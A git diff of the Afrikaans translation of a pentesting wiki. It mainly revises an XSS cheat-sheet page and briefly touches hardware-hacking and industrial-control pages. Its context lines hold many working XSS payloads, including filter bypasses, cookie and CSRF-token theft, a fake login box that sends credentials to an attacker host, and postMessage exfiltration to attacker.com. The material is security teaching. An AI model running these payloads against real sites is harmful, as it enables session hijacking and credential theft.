-Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
+Hierdie tipe XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\
 Sommige **voorbeelde**:

 {{#ref}}
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md

 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)

-## Invoeging binne ruwe HTML
+## Invoeging binne rou HTML

-Wanneer jou invoer **binne die HTML-bladsy** weerspieël word of jy kan ontsnap en HTML-kode in hierdie konteks invoeg, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML-gecodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
+Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
 Vir hierdie gevalle hou ook **in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Let wel: 'n HTML-kommentaar kan gesluit word met\*\***\***\*`-->`\*\***\***\*of \*\***`--!>`\*\*_
+_**Let wel: 'n HTML kommentaar kan gesluit word met\*\***\***\*`-->`\*\***\***\*of \*\***`--!>`\*\*_

 In hierdie geval en as daar geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
 ```html
@ -163,16 +163,16 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\
-Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
+Maar, as tags/kenmerke swart/blanklys gebruik word, sal jy **brute-force watter tags** jy kan skep.\
+Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.

-### Tags/Events brute-force
+### Tags/Gebeurtenisse brute-force

-Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen).
+Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).

-### Aangepaste tags
+### Pasgemaakte tags

-As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
+As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` kenmerk uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
@ -237,22 +237,22 @@ onerror=alert`1`
 ```
 Die laaste een gebruik 2 unicode karakters wat uitbrei na 5: telsr\
 Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
-Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/en/unicode/U+2121).
+Om te kyk in watter karakters ontbind is, kyk [hier](https://www.compart.com/en/unicode/U+2121).

 ### Klik XSS - Clickjacking

 As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).

-### Onmoontlik - Dangling Markup
+### Onmoontlik - Hangende Markup

-As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
+As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.

 ## Invoeging binne HTML-tag

 ### Binne die tag/ontsnapping van attribuutwaarde

 As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\
-As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let wel dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
+As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -274,7 +274,7 @@ Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascri

 **Omseil binne gebeurtenis met HTML-kodering/URL-kodering**

-Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
+Die **HTML gekodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`

 Let daarop dat **enige soort HTML-kodering geldig is**:
 ```javascript
@ -353,7 +353,7 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gecodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gecodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
+Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@ -385,10 +385,10 @@ As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`targe
 ../reverse-tab-nabbing.md
 {{#endref}}

-### oor Gebeurtenis Hanteerders Omseiling
+### oor Event Handlers Bypass

-Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
-As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
+Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
+As daar 'n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende omseilings probeer:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@ -403,7 +403,7 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta)
+### XSS in "Onbenutbare etikette" (verborgene invoer, skakel, kanoniek, meta)

 Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:**
 ```html
@ -434,13 +434,13 @@ Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy

 Verskeie truuks met die gebruik van verskillende kodering is reeds in hierdie afdeling blootgestel. Gaan **terug om te leer waar jy kan gebruik:**

- **HTML kodering (HTML etikette)**
+- **HTML kodering (HTML tags)**
 - **Unicode kodering (kan geldige JS kode wees):** `\u0061lert(1)`
 - **URL kodering**
 - **Hex en Oktale kodering**
 - **data kodering**

-**Omseilings vir HTML etikette en eienskappe**
+**Omseilings vir HTML tags en eienskappe**

 Lees die [Swartlys Omseilings van die vorige afdeling](#blacklist-bypasses).

@ -450,7 +450,7 @@ Lees die J[avaScript omseiling swartlys van die volgende afdeling](#javascript-b

 ### CSS-Gadgets

-As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset** te wysig om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.
+As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset te wysig** om die waarskynlikheid te maksimeer dat die skakel geaktiveer word.

 Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`

@ -470,11 +470,11 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-

 ## Inspuiting binne JavaScript kode

-In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
+In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` tags of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.

-### Ontsnapping van \<script> etiket
+### Ontsnapping van \<script> tag

-As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
+As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` tag **ontsnap deur die sluiting**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
@ -556,7 +556,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**JavaScript kommentaaren (van** [**JavaScript Kommentaaren**](#javascript-comments) **trik)**
+**JavaScript kommentaar (van** [**JavaScript Kommentaar**](#javascript-comments) **trik)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@ -769,7 +769,7 @@ Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne

 ### Sessiemirrow

-As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
+As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld, wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.

 Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.

@ -785,8 +785,8 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die
 ```
 ### Ruby-On-Rails omseiling

-As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
-Formulier voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
+As gevolg van **RoR massa toewysing** word aanhalings in die HTML ingevoeg en dan word die aanhaling beperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
+Form voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
@ -826,9 +826,9 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS met header-inspuiting in 'n 302 respons
+### XSS met header-inspuiting in 'n 302-respons

-As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
+As jy vind dat jy **headers in 'n 302-omleidingrespons kan inspuit**, kan jy probeer om die **blaaier te dwing om arbitrêre JavaScript uit te voer**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.

 In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
 Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
@ -837,9 +837,9 @@ Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Loca

 As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.

-### Geldige `<script>` Inhoud-Tipes vir XSS
+### Geldige `<script>` Inhoudstipes vir XSS

-(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoud-tipe** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:
+(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrip met 'n **inhoudstype** soos `application/octet-stream` te laai, sal Chrome die volgende fout gooi:

 > Weier om skrip van ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') uit te voer omdat sy MIME-tipe (‘application/octet-stream’) nie uitvoerbaar is nie, en streng MIME-tipe kontrole is geaktiveer.

@ -919,7 +919,7 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/
 }
 </script>
 ```
-### Web Content-Types om XSS
+### Web Content-Types to XSS

 (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer:

@ -934,9 +934,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/

 In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)

-### xml Inhoudstipe
+### xml Content Type

-As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
+As die bladsy 'n text/xml inhouds tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -1004,7 +1004,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 // our actual module code
 })
 ```
-Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
+Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te verkry:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1271,7 +1271,7 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
+> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.

 ### Steel Bladsy Inhoud
 ```javascript
@ -1362,11 +1362,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen reaksie aan._
+_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen antwoord aan._

 Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).

-### Bokse om vir akrediteerbesonderhede te vra
+### Box om vir akrediteerbesonderhede te vra
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
@ -1381,9 +1381,9 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelek word.
+Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelek word.

-### Sleutellogger
+### Keylogger

 Net deur in github te soek, het ek 'n paar verskillende gevind:

@ -1392,7 +1392,7 @@ Net deur in github te soek, het ek 'n paar verskillende gevind:
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 - Jy kan ook metasploit `http_javascript_keylogger` gebruik

-### Diefstal van CSRF tokens
+### Steel CSRF tokens
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@ -1407,7 +1407,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Steel PostMessage-boodskappe
+### Dief van PostMessage-boodskappe
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@ -1421,19 +1421,19 @@ document.getElementById("message").src += "&"+e.data;
 abusing-service-workers.md
 {{#endref}}

-### Toegang tot Skadu DOM
+### Toegang tot Skadu-DOM

 {{#ref}}
 shadow-dom.md
 {{#endref}}

-### Polyglotte
+### Poliglotte

 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}

-### Blinde XSS lasladinge
+### Blinde XSS-ladinge

 Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
 ```html
@ -1502,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Toegang tot Verborgen Inhoud

-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
+Van [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende objekte te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@ -1541,12 +1541,12 @@ Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer **dit opgradeer na SSR
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Gebruik dit om koekie-beperkings, XSS-filters en nog baie meer te omseil!\
+Gebruik dit om koekiebeperkings, XSS-filters en nog baie meer te omseil!\
 Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).

 ### XSS in dinamies geskepte PDF

-As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot** wat die PDF genereer te **mislei** om **arbitraire JS-kode** te **uit te voer**.\
+As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot** wat die PDF skep te **mislei** om **arbitraire JS-kode** te **uit te voer**.\
 As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.

 {{#ref}}
@ -1561,7 +1561,7 @@ pdf-injection.md

 ### XSS in Amp4Email

-AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).

 Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.

--- a/src/todo/hardware-hacking/fault_injection_attacks.md
+++ b/src/todo/hardware-hacking/fault_injection_attacks.md
@ -1,9 +1,9 @@
 # Fault Injection Attacks

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

-Foutinjektie-aanvalle sluit die bekendstelling van eksterne versteurings in elektroniese kringe in om die gedrag daarvan te beïnvloed, wat lei tot die bekendmaking van inligting of selfs die omseiling van sekere beperkings in die kring. Hierdie aanvalle bied 'n baie moontlikhede om elektroniese kringe aan te val. Hierdie aanval word ook verwys as die glitching van elektroniese kringe.
+Foutinjektie-aanvalle sluit die bekendstelling van eksterne verstorings in elektroniese kringe in om die gedrag daarvan te beïnvloed, wat lei tot die bekendmaking van inligting of selfs die omseiling van sekere beperkings in die kring. Hierdie aanvalle bied 'n baie moontlikhede vir die aanval op elektroniese kringe. Hierdie aanval word ook verwys as die glitching van elektroniese kringe.

-Daar is baie metodes en media om fout in 'n elektroniese kring in te spuit.
+Daar is baie metodes en media vir die inspuiting van fout in 'n elektroniese kring.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/todo/hardware-hacking/side_channel_analysis.md
+++ b/src/todo/hardware-hacking/side_channel_analysis.md
@ -1,11 +1,11 @@
 # Side Channel Analysis Attacks

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 Side Channel Analysis Attacks verwys na die bepaling van die inligting van 'n toestel of entiteit deur 'n ander kanaal of bron wat 'n indirekte invloed daarop het en waaruit inligting onttrek kan word. Dit kan beter verduidelik word met 'n voorbeeld:

 Die analise van die vibrasies in glasplate wat naby die klankbron is, maar die klankbron is nie toeganklik nie. Die vibrasies in glas word beïnvloed deur die klankbron en as dit gemonitor en geanaliseer word, kan die klank gedecodeer en geïnterpreteer word.

-Hierdie aanvalle is baie gewild in die geval van die lek van data soos private sleutels of die vind van operasies in die verwerkers. 'n Elektroniese stroombaan het baie kanale waaruit inligting voortdurend gelek word. Monitering en analise kan nuttig wees om 'n groot hoeveelheid inligting oor die stroombaan en die interne werking daarvan bekend te maak.
+Hierdie aanvalle is baie gewild in die geval van die lek van data soos privaat sleutels of die vind van operasies in die verwerkers. 'n Elektroniese stroombaan het baie kanale waaruit inligting voortdurend gelek word. Monitering en analise kan nuttig wees om 'n groot hoeveelheid inligting oor die stroombaan en die interne werking daarvan bekend te maak.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/todo/industrial-control-systems-hacking/README.md
+++ b/src/todo/industrial-control-systems-hacking/README.md
@ -1,19 +1,19 @@
 # Industriële Beheerstelsels Hacking

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Oor hierdie Afdeling

 Hierdie afdeling bevat alles oor Industriële Beheerstelsels, insluitend konsepte sowel as metodologieë om hulle te hack met verskeie sekuriteitskwessies wat daarin voorkom.

-Industriële Beheerstelsels is oral, aangesien industrieë noodsaaklik is vir die ekonomiese ontwikkeling van 'n nasie. Maar hierdie ICS is moeilik om op te dateer en daar is minder vooruitgang in hierdie veld gemaak. Daarom is dit algemeen om sekuriteitsfoute hier te vind. Meeste van die protokolle en standaarde wat hier gebruik word, is in die 90's ontwikkel en het baie minder vermoëns in vergelyking met huidige aanvalscenario's.
+Industriële Beheerstelsels is oral, aangesien industrieë noodsaaklik is vir die ekonomiese ontwikkeling van 'n nasie. Maar hierdie ICS is moeilik om op te dateer en minder vooruitgang is in hierdie veld gemaak. Daarom is dit algemeen om sekuriteitsfoute hier te vind. Meeste van die protokolle en standaarde wat hier gebruik word, is in die 90's ontwikkel en het baie minder vermoëns in vergelyking met huidige aanvalscenario's.

 Dit het belangrik geword om hierdie stelsels te beveilig, aangesien skade aan hulle baie kan kos en selfs lewens in die ergste geval. Om die sekuriteit van Industriële Beheerstelsels te verstaan, is dit nodig om die interne werking daarvan te ken.

-Aangesien Industriële Beheerstelsels geïnstalleer word volgens vasgestelde standaarde, sal kennis van elke komponent help om elke ander meganisme in die beheerstelsel met mekaar te verbind. Die installasie van hierdie toestelle soos PLC's en SCADA-stelsels verskil in verskillende industrieë, daarom is inligtingversameling krities.
+Aangesien Industriële Beheerstelsels geïnstalleer word volgens vasgestelde standaarde, sal kennis van elke komponent help om elke ander meganisme in die beheerstelsel met mekaar te verbind. Die installasie van hierdie toestelle soos PLC's en SCADA-stelsels verskil in verskeie industrieë, daarom is inligtingversameling krities.

 Industriële Beheerstelsels kan soms ingewikkeld wees en vereis dus baie geduld om enigiets te doen. Dit gaan alles oor ondersoek en verkenning voordat aanvalle beplan en enige eksploit ontwikkel word.

 Hierdie tegnieke kan ook gebruik word om teen aanvalle te beskerm en blou spanwerk vir industriële beheerstelsels te doen.

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/todo/industrial-control-systems-hacking/modbus.md
+++ b/src/todo/industrial-control-systems-hacking/modbus.md
@ -1,24 +1,24 @@
 # Die Modbus-protokol

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Inleiding tot die Modbus-protokol

